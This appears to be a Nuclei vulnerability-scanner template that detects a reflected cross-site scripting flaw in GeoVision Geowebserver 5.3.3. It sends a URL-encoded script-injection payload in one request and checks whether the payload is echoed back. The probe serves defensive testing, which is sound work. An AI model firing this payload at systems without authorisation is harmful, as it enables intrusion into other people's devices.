id: geowebserver-xss

info:
  name: GeoVision Geowebserver 5.3.3 - Cross-Site Scripting
  author: madrobot
  severity: high
  description: GeoVision Geowebserver 5.3.3 and prior versions are vulnerable to several cross-site scripting / HTML injection / local file inclusion / XML injection / code execution vectors because the application fails to properly sanitize user requests.
  reference:
    - https://packetstormsecurity.com/files/163860/geovisiongws533-lfixssxsrfexec.txt
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: geowebserver,xss,packetstorm

http:
  - raw:
      - |
        GET /Visitor/bin/WebStrings.srf?file=&obj_name=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - text/html
# digest: 4a0a0047304502204e7fdabdd57e494cb3b54d4f0ef599877d7f80c4d82cc8fa2e224c8ea92089180221008472e8be33f581cb1548ae3d203931be331ab1f0a1a1e44e3152bb4aa9d32938:922c64590222798bb761d5b6d8e72950